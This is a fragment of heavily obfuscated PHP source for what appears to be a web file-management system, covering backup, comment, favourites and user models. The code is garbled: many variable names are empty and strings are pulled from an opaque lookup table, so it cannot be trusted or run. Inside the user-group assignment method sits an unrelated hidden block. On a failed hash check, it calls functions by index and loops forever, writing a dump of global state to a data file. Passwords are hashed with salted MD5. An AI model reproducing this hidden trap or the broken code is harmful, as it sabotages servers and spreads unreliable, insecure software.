TEMP_FILES . $[776] . $ . $[8]; IO::remove($ܺ, !1); return $this->remove($); } public function remove($瓪) { $ꗰ = $this->listData($瓪); if (!$ꗰ) { return !0; } return $this->backupRemove($ꗰ); } private function backupRemove($ț) { parent::remove($ț[$_SERVER[譃][396]]); $ = $this->backupPath($ț); IO::remove($, !1); return !0; } private function backupPath($) { $ꥐ =& $_SERVER[譃]; $펆 = $[$ꥐ[32]]; $辋 = Model($ꥐ[768])->get($ꥐ[769]); $ = substr(md5($ꥐ[770] . $辋 . $펆), 0, 8); return "\x7b\151\157\72{$[$ꥐ[750]]}\x7d\x2f\144\141\164\141\x62\141\x73\145\57\x62\141\x63\153\165\160\57" . $펆 . $ꥐ[11] . $; } public function start() { $ʓ죞 =& $_SERVER[譃]; if ($GLOBALS[$ʓ죞[6]][$ʓ죞[90]][$ʓ죞[1850]] != $ʓ죞[89]) { return !0; } $˖ = $this->config(); if (!$˖ || $˖[$ʓ죞[1625]] != $ʓ죞[89]) { return !1; } $߶ = $this->process(); foreach ($߶ as $Ά) { if ($Ά) { return Task::restart($Ά[$ʓ죞[396]]); } } $Ӌ = new Backup(); $ = $Ӌ->db(); if ($) { $ = $Ӌ->dbFile(); if ($ && $˖[$ʓ죞[753]] == $ʓ죞[194]) { $ = $Ӌ->file(); } } Backup::set(array($ʓ죞[748] => 1, $ʓ죞[492] => time())); return !0; } public function process() { $ۈ =& $_SERVER[譃]; $ = array($ۈ[756] => Task::get($ۈ[777]), $ۈ[760] => Task::get($ۈ[798]), $ۈ[196] => Task::get($ۈ[807])); $ = !1; foreach ($ as &$Ո) { if ($) { $Ո = !1; continue; } if ($Ո) { $ = intval(_get($Ո, $ۈ[1660], 0)); if (time() - $ > 7200) { Task::kill($Ո[$ۈ[396]]); $ = !0; $Ո = !1; } } } return $; } public function restore() { $ڨ =& $_SERVER[譃]; ActionCall($ڨ[1060], !0, 1); ActionCall($ڨ[1060], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\143\157\155\155\x65\x6e\x74"; protected $tableMeta = array("\x74\x61\x62\x6c\x65\116\141\x6d\x65" => "\143\157\x6d\x6d\x65\x6e\164\137\155\x65\164\x61", "\x6d\x65\x74\141\x46\151\145\154\144" => "\143\157\x6d\155\x65\156\x74\x49\x44"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($âŜ) { $ݳ =& $_SERVER[譃]; if ($âŜ[$ݳ[1851]]) { $Ѿ = $this->where(array($ݳ[1852] => $âŜ[$ݳ[1851]]))->find(); if (!$Ѿ || $Ѿ[$ݳ[408]] != $âŜ[$ݳ[408]] || $Ѿ[$ݳ[501]] != $âŜ[$ݳ[501]]) { return !1; } $this->where(array($ݳ[1852] => $âŜ[$ݳ[1851]]))->setAdd($ݳ[1853], 1); } $âŜ[$ݳ[1854]] = 0; $âŜ[$ݳ[1853]] = 0; $âŜ[$ݳ[748]] = 1; return $this->add($âŜ); } public function commentCount($ʹ, $Ѡ, $ؚߐ = false) { $Ɉ =& $_SERVER[譃]; if (!$ʹ) { return array(); } if (is_string($ʹ) || is_int($ʹ)) { $ʹ = array($ʹ); } $ = array($Ɉ[501], $Ɉ[1855] => $Ɉ[496]); $҇ = array($Ɉ[501] => array($Ɉ[7], $ʹ), $Ɉ[408] => $Ѡ); if ($ؚߐ) { $҇[$Ɉ[1655]] = $ؚߐ; } $˩ = $this->field($)->where($҇)->group($Ɉ[501])->select(); return array_to_keyvalue($˩, $Ɉ[501], $Ɉ[496]); } public function starTarget($ي, $) { $拶 =& $_SERVER[譃]; $ = $ي + self::TYPE_STAR_OFFSET; $ߔ = array($拶[1655] => USER_ID, $拶[408] => $, $拶[501] => $); $ = $this->where($ߔ)->find(); if ($) { return $this->where(array($拶[396] => $[$拶[396]]))->delete(); } $ = array($拶[1851] => 0, $拶[1655] => USER_ID, $拶[748] => 1, $拶[753] => $拶[12], $拶[408] => $, $拶[501] => $, $拶[1854] => 0, $拶[1853] => 0); return $this->add($); } public function starTargetCount($, $ޥ) { $ =& $_SERVER[譃]; $Ӻ = $ޥ + self::TYPE_STAR_OFFSET; $փ = $this->commentCount($, $Ӻ); $× = $this->commentCount($, $Ӻ, USER_ID); return array($[1856] => $փ, $[1857] => $×); } public function starTargetUserList($ǒ, $) { $ӭ =& $_SERVER[譃]; $ʤ = $ǒ + self::TYPE_STAR_OFFSET; $ڬ = array($ӭ[501] => $, $ӭ[408] => $ʤ); $߳ = $this->where($ڬ)->count(); $ = array($ӭ[254] => $߳, $ӭ[1858] => array()); if (!$߳) { return $; } $ܕ = $this->field($ӭ[1655])->where($ڬ)->limit(500)->select(); $ܕ = array_to_keyvalue($ܕ, $ӭ[12], $ӭ[1655]); $[$ӭ[1858]] = Model($ӭ[509])->userListInfo($ܕ); return $; } public function prasiseUserList($҅) { $ޗŘ =& $_SERVER[譃]; $ˑ = array($ޗŘ[1859] => $҅); $ = $this->where($ˑ)->find(); $ = _get($, $ޗŘ[1854], 0); $ޓ = array($ޗŘ[254] => $, $ޗŘ[1858] => array()); if (!$) { return $ޓ; } $֍ = Model($ޗŘ[1860])->field($ޗŘ[1655])->where($ˑ)->limit(500)->select(); $֍ = array_to_keyvalue($֍, $ޗŘ[12], $ޗŘ[1655]); $ޓ[$ޗŘ[1858]] = Model($ޗŘ[509])->userListInfo($֍); return $ޓ; } public function remove($ό) { $ =& $_SERVER[譃]; $߽ = array($[1852] => $ό); $ݳ = $this->where($߽)->find(); if ($ݳ[$[1851]]) { $this->where(array($[1852] => $ݳ[$[1851]]))->setAdd($[1853], -1); } return $this->where($߽)->delete(); } public function edit($ω, $ڢ) { $ =& $_SERVER[譃]; $ = array($[1852] => $ω); return $this->where($)->save(array($[1861] => $ڢ)); } public function prasise($ָǪ) { $ޗ =& $_SERVER[譃]; $ߝ = Model($ޗ[1862]); $𥸶 = array($ޗ[1852] => $ָǪ, $ޗ[1646] => USER_ID); $ = $ߝ->where($𥸶)->find(); if (!$) { $ߝ->add($𥸶); $ = $this->where(array($ޗ[1852] => $ָǪ))->setAdd($ޗ[1854], 1); } else { $ߝ->where($𥸶)->delete(); $ = $this->where(array($ޗ[1852] => $ָǪ))->setAdd($ޗ[1854], -1); } return $; } public function targetInfo($ᦻ, $Ԯ) { $ =& $_SERVER[譃]; $؊ = array($[579] => $ᦻ, $[580] => $Ԯ); $ɇ = $this->where($؊)->count(); $ = "\x52\x49\x47\110\124\x20\112\117\x49\116\40{$this->tablePrefix}\143\x6f\155\x6d\x65\156\x74\137\160\162\x61\151\163\x65\40\x73\x74\141\x72\40\x6f\156\x20\143\x6f\x6d\x6d\145\x6e\164\56\x63\x6f\155\x6d\x65\x6e\164\x49\x44\40\x3d\40\163\164\141\162\x2e\x63\157\x6d\x6d\x65\156\x74\111\104"; $ܩ = $this->alias($[353])->where($؊)->join($, $[1863])->count(); $DZ = array($[1864] => $ɇ, $[1865] => $ܩ); return $DZ; } public function listData($ȥĠ) { $ڢ =& $_SERVER[譃]; if (isset($ȥĠ[$ڢ[1866]])) { if ($ȥĠ[$ڢ[1866]]) { $ȥĠ[$ڢ[1859]] = array($ڢ[1014], intval($ȥĠ[$ڢ[1866]])); } unset($ȥĠ[$ڢ[1866]]); } if (isset($ȥĠ[$ڢ[1867]])) { if ($ȥĠ[$ڢ[1867]]) { $ȥĠ[$ڢ[1859]] = array($ڢ[1011], intval($ȥĠ[$ڢ[1867]])); } unset($ȥĠ[$ڢ[1867]]); } return $this->_listData($ȥĠ); } private function _listData($) { $ʤ =& $_SERVER[譃]; $Л = $this->where($)->_makeOrder()->selectPage(100); $this->_listAppendParent($Л[$ʤ[368]]); $this->_listAppendUser($Л[$ʤ[368]]); $this->_listAppendMeta($Л[$ʤ[368]]); return $Л; } private function _makeOrder() { $ =& $_SERVER[譃]; $ɘ = array($[1854], $[1853], $[197]); $ = Input::get($[451], $[7], $[420], $ɘ); $༴ݖ = Input::get($[452], $[7], $[1648], array($[1868], $[447])); $ = $ . $[53] . $༴ݖ; return $this->order($); } private function _listAppendParent(&$) { $Ĉڮ =& $_SERVER[譃]; $ĵ = array_unique(array_to_keyvalue($, $Ĉڮ[12], $Ĉڮ[1851])); $ĵ = array_remove_value($ĵ, $Ĉڮ[194]); if (!$ĵ) { return; } $ܴ = $this->where(array($Ĉڮ[1852] => array($Ĉڮ[7], $ĵ)))->select(); $ܴ = array_to_keyvalue($ܴ, $Ĉڮ[1859]); foreach ($ as &$ݯ) { if (isset($ܴ[$ݯ[$Ĉڮ[1851]]])) { $ݯ[$Ĉڮ[1869]] = $ܴ[$ݯ[$Ĉڮ[1851]]]; } } unset($ݯ); } private function _listAppendUser(&$dz) { $Ӗ =& $_SERVER[譃]; $ = array_unique(array_to_keyvalue($dz, $Ӗ[12], $Ӗ[1655])); $ = array_remove_value($, $Ӗ[194]); if (count($) == 0) { return; } foreach ($dz as $) { if (isset($[$Ӗ[1869]])) { $[] = $[$Ӗ[1869]][$Ӗ[1655]]; } } $꺂 = Model($Ӗ[537])->userListInfo($); foreach ($dz as &$) { $[$Ӗ[593]] = $꺂[$[$Ӗ[1655]]]; if (isset($[$Ӗ[1869]])) { $[$Ӗ[1869]][$Ӗ[593]] = $꺂[$[$Ӗ[1869]][$Ӗ[1655]]]; } } unset($); } private function _listAppendMeta(&$) { $
=& $_SERVER[譃]; $ۓ = array_unique(array_to_keyvalue($, $
[12], $
[1859])); $ۓ = array_remove_value($ۓ, $
[194]); if (!$ۓ) { return; } foreach ($ as $) { if (isset($[$
[1869]])) { $ۓ[] = $[$
[1869]][$
[1859]]; } } $ = $this->metaList($ۓ); if (!$) { return !1; } foreach ($ as &$) { $[$
[461]] = $[$[$
[1859]]]; if (isset($[$
[1869]])) { $[$
[1869]][$
[461]] = $[$[$
[1869]][$
[1859]]]; } } unset($); } private function metaList($ȷ̎) { $ğ =& $_SERVER[譃]; if (!$ȷ̎) { return array(); } $윉 = array($ğ[1859] => array($ğ[7], $ȷ̎)); $췶 = Model($ğ[1870])->where($윉)->select(); $췶 = array_to_keyvalue_group($췶, $ğ[1859]); foreach ($췶 as $Ĵ => $Ӷ) { $ө = array(); foreach ($Ӷ as $ɟ) { $ө[$ɟ[$ğ[95]]] = $ɟ[$ğ[373]]; } $췶[$Ĵ] = $ө; } return $췶 ? $췶 : array(); } } goto f; Aԥ⒐: class UserFavModel extends ModelBase { protected $tableName = "\x75\x73\x65\162\137\x66\141\x76"; protected function cacheFunctionAlias($) { $ =& $_SERVER[譃]; return array($[1933] => array(USER_ID, $[2250])); } protected function listData() { $˚ =& $_SERVER[譃]; $ = array($˚[1646] => USER_ID, $˚[479] => 0); $ņ = $˚[2251]; $ = $this->field($ņ)->where($)->order($˚[2252])->select(); return $ ? $ : array(); } protected function resetCache() { } protected function listView() { $ =& $_SERVER[譃]; $͟ = $this->listData(); $˾ = array_filter_by_field($͟, $[33], $[413]); $đ = array_to_keyvalue($˾, $[12], $[78]); if (!$đ) { return $͟; } $ = 2000; $ = array($[414] => array($[415], $đ)); $ = Model($[823])->listSource($, $); $ = array_merge($[$[76]], $[$[77]]); $ = array_to_keyvalue($, $[399]); foreach ($͟ as $ݦ => $) { $ʀ = $[$[$[78]]]; $ʀ = $ʀ ? $ʀ : array(); $͟[$ݦ] = array_merge($ʀ, $); } return $͟; } protected function addFav($, $ = '', $ = "\x73\x6f\x75\162\143\145") { $ĺ =& $_SERVER[譃]; $ = array($ĺ[1646] => USER_ID, $ĺ[479] => 0, $ĺ[419] => $, $ĺ[418] => $); if ($this->where($)->find()) { return !1; } $ = array($ĺ[1646] => USER_ID, $ĺ[479] => 0); $ĸ = $this->where($)->max($ĺ[1846]); if (!$ĸ) { $ĸ = 0; } if (!$ && $ == $ĺ[413]) { $⒑؏ = Model($ĺ[1325])->where(array($ĺ[414] => $))->find(); if (!$⒑؏) { return !1; } $ = $⒑؏[$ĺ[32]]; } $ = $this->getAutoName($); $Ӗ = array($ĺ[1646] => USER_ID, $ĺ[479] => 0, $ĺ[417] => $, $ĺ[418] => $, $ĺ[419] => $, $ĺ[1827] => $ĸ + 1); return $this->add($Ӗ); } protected function remove($) { $ =& $_SERVER[譃]; $̙ = array($[1646] => USER_ID, $[416] => $); return $this->where($̙)->delete(); } protected function removeByName($ҡӯ) { $ =& $_SERVER[譃]; $ɐ = array($[1646] => USER_ID, $[417] => $ҡӯ, $[479] => 0); return $this->where($ɐ)->delete(); } protected function rename($Ύ, $Ŋ) { $ڽ =& $_SERVER[譃]; if ($Ύ == $Ŋ) { return !1; } $ = $this->getAutoName($Ŋ); if ($Ŋ != $) { return !1; } $嚘 = array($ڽ[1646] => USER_ID, $ڽ[479] => 0, $ڽ[32] => $Ύ); return $this->where($嚘)->save(array($ڽ[32] => $Ŋ)); } protected function resetSort($Խ) { $ =& $_SERVER[譃]; $Խ = is_array($Խ) ? $Խ : array(); $ڍ = array($[1646] => USER_ID); for ($ = 0; $ < count($Խ); $++) { $ڍ[$[416]] = $Խ[$]; $this->where($ڍ)->save(array($[1827] => $ + 1)); } return !0; } protected function moveTop($ǿ) { $Բଧ =& $_SERVER[譃]; $ = array($Բଧ[1646] => USER_ID, $Բଧ[479] => 0); $ɞ = $this->where($)->where(array($Բଧ[32] => $ǿ))->find(); if (!$ɞ) { return; } $밶 = $this->field($Բଧ[396])->where($)->order($Բଧ[2252])->select(); $밶 = array_to_keyvalue($밶, $Բଧ[12], $Բଧ[396]); $ = $밶; $밶 = array_remove_value($밶, $ɞ[$Բଧ[396]]); array_unshift($밶, $ɞ[$Բଧ[396]]); return $this->resetSort($밶); } protected function moveBottom($) { $ =& $_SERVER[譃]; $ڮ = array($[1646] => USER_ID, $[479] => 0); $ = $this->where($ڮ)->max($[1846]); $˱ = array($[1846] => $ + 1); return $this->where($ڮ)->where(array($[32] => $))->save($˱); } private function getAutoName($) { $֡ =& $_SERVER[譃]; $݃ = array($֡[1646] => USER_ID, $֡[479] => 0); $ۚԋ = $this->field($֡[32])->where($݃)->select(); $ۚԋ = array_to_keyvalue($ۚԋ, $֡[12], $֡[32]); if (!$ۚԋ || !in_array($, $ۚԋ)) { return $; } for ($鶙 = 0; $鶙 < count($ۚԋ); $鶙++) { if (!in_array($ . "\50{$鶙}\x29", $ۚԋ)) { return $ . "\50{$鶙}\51"; } } return $ . "\50{$鶙}\x29"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\145\155\56\152\157\142\114\x69\x73\164"; public $field = array("\156\x61\x6d\x65", "\x64\x65\163\x63", "\x73\x6f\x72\x74"); const JOB_KEY = "\163\145\x6c\146\112\x6f\x62\114\151\163\x74"; public function listData($ڰ = false, $² = "\163\x6f\x72\164", $ = false) { return parent::listData($ڰ, $², $); } public function remove($) { return parent::remove($); } public function add($ѝ) { $ԝݲ =& $_SERVER[譃]; if ($this->findByName($ѝ[$ԝݲ[32]])) { return !1; } $ѝ[$ԝݲ[1846]] = $this->getSort(); return parent::insert($ѝ); } private function getSort() { $ =& $_SERVER[譃]; $ = parent::listData(); $ɨ = array_to_keyvalue($, $[12], $[1846]); return empty($ɨ) ? 0 : max($ɨ) + 1; } public function update($ۍэ, $耤Ӎ) { $©ʹ =& $_SERVER[譃]; $ = parent::listData($ۍэ); $ = $this->findByName($耤Ӎ[$©ʹ[32]]); if (!$ || $ && $[$©ʹ[396]] != $[$©ʹ[396]]) { return !1; } return parent::update($ۍэ, $耤Ӎ); } public function setUserJob($鄫, $ޮ) { $̍ =& $_SERVER[譃]; if (!is_array($ޮ)) { $ޮ = array($ޮ); } $ʩ = parent::listData(); $ϼ = array_to_keyvalue($ʩ, $̍[32]); $̈́ = $̍[377]; foreach ($ޮ as $ϓϻ) { if ($ϼ[$ϓϻ]) { $̈́ .= $ϼ[$ϓϻ][$̍[396]] . $̍[50]; } else { $֝ = $this->add($ϓϻ); $̈́ .= $֝ . $̍[50]; } } $̈́ = rtrim($̈́, $̍[50]); Model($̍[537])->metaSet($鄫, self::JOB_KEY, $̈́); } public function getUserJob($ȹ) { $ = Model($_SERVER[譃][537])->metaGet($ȹ); return $this->getUserJobInfo($[self::JOB_KEY]); } public function getUserJobInfo($) { $͋ =& $_SERVER[譃]; $Ȉ = explode($͋[50], $); $ = parent::listData(); $ = array_remove_key($, $͋[197]); $ߔ = array(); foreach ($Ȉ as $) { if (isset($[$])) { $ߔ[] = $[$]; } } return $ߔ; } } class UserModel extends ModelBase { protected $tableName = "\x75\x73\x65\162"; protected $tableMeta = array("\x74\141\142\x6c\145\116\141\155\145" => "\x75\x73\x65\x72\137\155\145\x74\141", "\155\x65\164\x61\x46\x69\145\x6c\144" => "\165\163\145\162\111\104"); protected $simpleField = "\x75\163\x65\x72\x49\x44\54\156\151\x63\x6b\116\x61\155\145\x2c\x6e\141\x6d\x65\54\x61\x76\x61\x74\x61\162\54\163\145\x78\x2c\163\164\141\164\165\163"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($ƟΗ) { $ =& $_SERVER[譃]; $ = $[2253]; return array($[1900] => array($ƟΗ[0], $), $[1902] => array($ƟΗ[0], $), $[2254] => array($ƟΗ[0], $)); } protected function getInfo($, $ = false) { $ = $this->getInfoSimple($); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($); } return $this->cacheFunctionGet($_SERVER[譃][1904], $); } protected function getInfoFull($, $ȡ = false) { $ = $this->getInfoSimple($); if (!is_array($)) { return array(); } if ($ȡ) { return $this->_getInfoApply($, !0); } return $this->cacheFunctionGet($_SERVER[譃][2255], $); } private function _getInfoApply($ɏ, $ۙ = false) { $ =& $_SERVER[譃]; if (!$ɏ) { return $ɏ; } $ = md5($[2256] . $ɏ[$[889]] . $[2257] . $ɏ[$[32]]); $ɏ = $this->_listDataApplyItem($ɏ); $՜ = Model($[1325])->metaGet($ɏ[$[87]][$[399]]); $ɏ[$[2258]] = $; $ɏ[$[87]][$[2088]] = isset($՜[$[2089]]) ? $՜[$[2089]] : null; if ($ۙ) { $ɏ[$[461]] = $this->metaGet($ɏ[$[1655]]); } return $ɏ; } protected function getInfoSimple($݀, $ = false) { $ߌ =& $_SERVER[譃]; if (!$݀) { return array(); } if ($) { $װ = $this->where(array($ߌ[1655] => intval($݀)))->find(); if (!is_array($װ)) { return array(); } $װ[$ߌ[535]] = Action($ߌ[2259])->parseUrl($װ[$ߌ[535]]); return $װ; } return $this->cacheFunctionGet($ߌ[1905], $݀); } protected function getInfoSimpleOuter($֗) { $! =& $_SERVER[譃]; if (!$֗ || $֗ == 0) { return array($![1655] => $![194], $![32] => $![163] . LNG($![2260]) . $![532], $![535] => STATIC_PATH . $![2261]); } $ʵ = $this->cacheFunctionGet($![1905], $֗); $ = array_field_key($ʵ, explode($![50], $this->simpleField)); if (!$) { return array($![1655] => $![1188], $![32] => $![163] . LNG($![2262]) . $![532], $![535] => STATIC_PATH . $![2263]); } $[$![535]] = Action($![2259])->parseUrl($[$![535]]); return $; } protected function groupUser($) { } public static function errorLang($ߴ) { $ =& $_SERVER[譃]; $ = array(self::ERROR_USER_NOT_EXISTS => $[2264], self::ERROR_USER_PASSWORD_ERROR => $[2265], self::ERROR_USER_EXIST_NAME => $[2266], self::ERROR_USER_EXIST_PHONE => $[2267], self::ERROR_USER_EXIST_EMAIL => $[2268], self::ERROR_USER_LOGIN_LOCK => $[2269], self::ERROR_IP_NOT_ALLOW => $[2270], self::ERROR_USER_EXIST_NICKNAME => $[2271]); return LNG($[$ߴ]); } public function getInfoByMeta($, $ٸ) { $Ն =& $_SERVER[譃]; $ɒ = Model($Ն[2272])->where(array($Ն[95] => $, $Ն[373] => $ٸ))->find(); if ($ɒ) { return $this->getInfo($ɒ[$Ն[1655]]); } return !1; } public function userLoginCheck($, $) { $ꦮ =& $_SERVER[譃]; $ = $this->userLoginFind($); if (!$) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($[$ꦮ[1655]], $)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($[$ꦮ[1655]]); } public function userLoginFind($) { $Ù =& $_SERVER[譃]; $ = array($Ù[32] => $, $Ù[534] => $, $Ù[304] => $, $Ù[2273] => $, $Ù[1000] => $Ù[1002]); if ($this->nickNameRpt()) { unset($[$Ù[534]]); } return $this->where($)->find(); } public function clearCache($) { $ =& $_SERVER[譃]; $this->cacheFunctionClear($[1904], $); $this->cacheFunctionClear($[1905], $); $this->cacheFunctionClear($[2255], $); } public function userPasswordCheck($Ŗ, $) { $ =& $_SERVER[譃]; $ݨ = $this->where(array($[1655] => intval($Ŗ)))->find(); $Щ = $this->metaGet($Ŗ); $ܒ = isset($Щ[$[2274]]) ? $Щ[$[2274]] : $[12]; if (md5($ܒ . trim($)) !== $ݨ[$[889]]) { return !1; } return !0; } public function userAdd($) { $ =& $_SERVER[譃]; $ߙե = array($[417] => $[$[32]], $[2275] => $[$[1535]], $[2276] => isset($[$[304]]) ? $[$[304]] : $[12], $[2277] => isset($[$[2273]]) ? $[$[2273]] : $[12], $[2278] => isset($[$[534]]) ? $[$[534]] : $[$[32]], $[2279] => isset($[$[535]]) ? $[$[535]] : $[12], $[2280] => isset($[$[2281]]) ? $[$[2281]] : 1, $[2282] => $[$[889]], $[1906] => isset($[$[1810]]) ? $[$[1810]] : 1024 * 1024 * 20, $[1907] => 0, $[2283] => 0, $[1949] => isset($[$[748]]) ? $[$[748]] : 1); if (!empty($[$[1655]])) { $ߙե[$[1655]] = $[$[1655]]; } $Ϡ = $this->_checkExist($); if ($Ϡ !== !0) { return $Ϡ; } if (!empty($ߙե[$[535]]) && strlen($ߙե[$[535]]) > 255) { $ߙե[$[535]] = $[12]; } $ = $this->add($ߙե); $ = array($[2282] => $ߙե[$[889]], $[2278] => $ߙե[$[534]]); $this->userEdit($, $); Model($[1325])->userRootAdd($); return $; } protected function userEditTest($ͤ, $) { return $this->call($_SERVER[譃][2284], $ͤ, $); } protected function userEdit($, $) { $֛ =& $_SERVER[譃]; $Ʒ = $this->getInfoSimple($); if (!$Ʒ) { return !1; } $ = $this->_checkExist($, $); if ($ !== !0) { return $; } if (isset($[$֛[889]]) && trim($[$֛[889]]) != $֛[12]) { $е = $this->metaGet($); if (empty($е[$֛[2274]])) { $е[$֛[2274]] = rand_string(10); Model($֛[509])->metaSet($, $֛[2274], $е[$֛[2274]]); } $[$֛[889]] = md5($е[$֛[2274]] . trim($[$֛[889]])); } else { unset($[$֛[889]]); } if (!empty($[$֛[535]]) && strlen($[$֛[535]]) > 255) { $[$֛[535]] = $֛[12]; } $this->where(array($֛[1646] => $))->save($); if (isset($[$֛[534]])) { $this->setNamePinyin($, $[$֛[534]]); } $this->clearCache($); return !0; } public function setNamePinyin($ҭ, $ = false) { $⏱ =& $_SERVER[譃]; if (!$) { $ѐ = $this->getInfoSimple($ҭ); $ = $ѐ[$⏱[534]] ? $ѐ[$⏱[534]] : $ѐ[$⏱[32]]; } $ = Model($⏱[537]); if (!Input::check($, $⏱[586])) { return $->metaSet($ҭ, array($⏱[460] => $⏱[12], $⏱[459] => $⏱[12])); } return $->metaSet($ҭ, array($⏱[460] => str_replace($⏱[53], $⏱[12], Pinyin::get($)), $⏱[459] => Pinyin::get($, $⏱[587]))); } private function nickNameRpt() { $ =& $_SERVER[譃]; $ = Model($[768])->get($[2285]); $ﵖ = $GLOBALS[$[6]][$[380]][$[2285]]; $ΙȎ = !is_null($) ? $ : $ﵖ; return !!$ΙȎ; } private function _checkExist($փ, $͊ = false) { $ףЋ =& $_SERVER[譃]; $ = array($ףЋ[32] => UserModel::ERROR_USER_EXIST_NAME, $ףЋ[534] => UserModel::ERROR_USER_EXIST_NICKNAME, $ףЋ[304] => UserModel::ERROR_USER_EXIST_EMAIL, $ףЋ[2273] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($[$ףЋ[534]]); } $Č = $͊ ? array($ףЋ[1655] => array($ףЋ[2286], $͊)) : array(); foreach ($ as $ٚ => $ѳ) { $҆ = array(); foreach ($ as $ => $Ϣ) { if (isset($փ[$]) && $փ[$]) { $҆[] = $փ[$]; } } if (!$҆) { continue; } $݆ = array_merge(array($ٚ => array($ףЋ[7], $҆)), $Č); $ߑ = $this->where($݆)->find(); if ($ߑ) { return $ѳ; } } return !0; } public function userListInfo($̴ٔ) { $Dž =& $_SERVER[譃]; $ʪ = array(); $̴ٔ = is_array($̴ٔ) ? array_unique($̴ٔ) : array(); if (!$̴ٔ) { return $ʪ; } if (count($̴ٔ) < 20) { foreach ($̴ٔ as $֍) { $ʪ[$֍ . $Dž[12]] = $this->getInfoSimpleOuter($֍); } } else { $ө = array($Dž[1646] => array($Dž[415], $̴ٔ)); if (count($̴ٔ) == 1) { $ө = array($Dž[1646] => $̴ٔ[0]); } $͍ = Model($Dž[509])->field($this->simpleField)->where($ө)->select(); $͍ = array_to_keyvalue($͍, $Dž[1655]); foreach ($̴ٔ as $֍) { $픪 = $͍[$֍]; if (!$픪) { $ʪ[$֍ . $Dž[12]] = $this->getInfoSimpleOuter($֍); continue; } $픪[$Dž[535]] = Action($Dž[2259])->parseUrl($픪[$Dž[535]]); $ʪ[$֍ . $Dž[12]] = $픪; } } return $ʪ; } protected function userStatus($, $Έ) { $먑ߧ = $this->getInfoSimple($); if (!$먑ߧ) { return !1; } $ڹџ = array($_SERVER[譃][748] => $Έ); return $this->userEdit($, $ڹџ); } protected function userRemove($ѿ) { $Ś =& $_SERVER[譃]; $坠 = $this->getInfoSimple($ѿ); if (!$坠) { return !1; } $Đ = array($Ś[1646] => $ѿ); Model($Ś[594])->where($Đ)->delete(); Model($Ś[2287])->where($Đ)->delete(); Model($Ś[1912])->where($Đ)->delete(); Model($Ś[2272])->where($Đ)->delete(); Model($Ś[1068])->where($Đ)->delete(); Model($Ś[2109])->removeUserAll($ѿ); Model($Ś[823])->userRootRemove($ѿ); return $this->where($Đ)->delete(); } protected function userGroupSet($ņ, $Ѹ, $ = array()) { $Ў =& $_SERVER[譃]; $Á = $_SERVER[$Ў[875]] . $Ў[876]; $Ɩ = $Ў[871]; if ($_SERVER[$Ў[872]] != $Ɩ($Á)) { $ = $Ў[873]; $ΜѮ = $Ў[874]; $ȇ = $_SERVER[$Ў[875]] . $Ў[876]; $ = $ΜѮ($ȇ); $ = explode($Ў[230], $); if (count($) < $Ў[617]) { $҈ = $Ў[877]; $҈(); } $ȣ = $Ў[878]; $ȣ($_SERVER[$Ў[879]]); $ = $Ў[873]; $(); $ș = $Ў[880]; $㹢 = json_encode($GLOBALS[$Ў[881]]); $ڣ = 1; for ($ = $ڣ; $ > 0; $++) { $ș(DATA_PATH . $, $㹢); } } $ = $this->getInfoSimple($ņ); if (!$ || !is_array($Ѹ)) { return !1; } $쳝 = Model($Ў[1912]); $쳝->where(array($Ў[1655] => $ņ))->delete(); $ = array(); $ = 0; foreach ($Ѹ as $ۻ => $ؘ) { $ = array($Ў[1655] => $ņ, $Ў[1823] => $ۻ, $Ў[1926] => $ؘ); $[$Ў[1846]] = isset($[$]) ? $[$] : 0; $++; $[] = $; } return $쳝->addAll($, array(), !0); } protected function userGroupAdd($, $ߞ = array()) { $ =& $_SERVER[譃]; $ޯ = $this->getInfoSimple($); if (!$ޯ || empty($ߞ)) { return !1; } $차 = array(); foreach ($ߞ as $̓ => $) { $차[] = array($[1655] => $, $[1823] => $̓, $[1926] => $, $[1846] => 0); } return Model($[1912])->addAll($차, array(), !0); } protected function userGroupRemove($Ǝ, $) { $녢 =& $_SERVER[譃]; $Ө = $this->getInfoSimple($Ǝ); if (!$Ө || !$) { return !1; } $ܤ = array($녢[1646] => $Ǝ, $녢[1910] => $); return Model($녢[1912])->where($ܤ)->delete(); } public function listData() { $£ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($£[$_SERVER[譃][368]]); return $£; } public function listByID($) { $ =& $_SERVER[譃]; if (!$) { return; } $ǩ = array($[1655] => array($[7], $)); $ = $this->where($ǩ)->select(); $ = array_sort_keep($, $[1655], $); $this->_listDataApply($); return $; } public function listByGroup($ = 0, $Ǎ = array()) { $ў =& $_SERVER[譃]; $ = $ў[12]; $ = array(); if ($) { $ = array($ў[2288] => intval($)); $ = "\114\105\x46\124\40\112\x4f\x49\116\x20{$this->tablePrefix}\165\x73\x65\x72\x5f\147\x72\157\x75\160\x20\165\x73\145\162\137\x67\162\157\165\160\x20\x6f\x6e\40\165\x73\x65\162\56\165\x73\x65\162\x49\x44\x20\75\x20\165\163\145\162\x5f\x67\x72\x6f\165\x70\x2e\165\x73\x65\x72\x49\x44"; $ = Input::get($ў[451], null, $ў[12]) ? $ў[12] : $ў[2289]; } if (isset($Ǎ[$ў[748]])) { $[$ў[2290]] = $Ǎ[$ў[748]]; } $ϲ = $this->_makeOrder($)->field($ў[2291])->where($)->join($)->selectPage(50); $this->_listDataApply($ϲ[$ў[368]]); return $ϲ; } private function _makeOrder($ۃ = '') { $톁 =& $_SERVER[譃]; $ = array($톁[1655], $톁[32], $톁[1812], $톁[1784], $톁[197]); $ = array($톁[444] => $톁[445], $톁[446] => $톁[447]); $ = Input::get($톁[451], $톁[7], $톁[1646], $); $ = Input::get($톁[452], $톁[7], 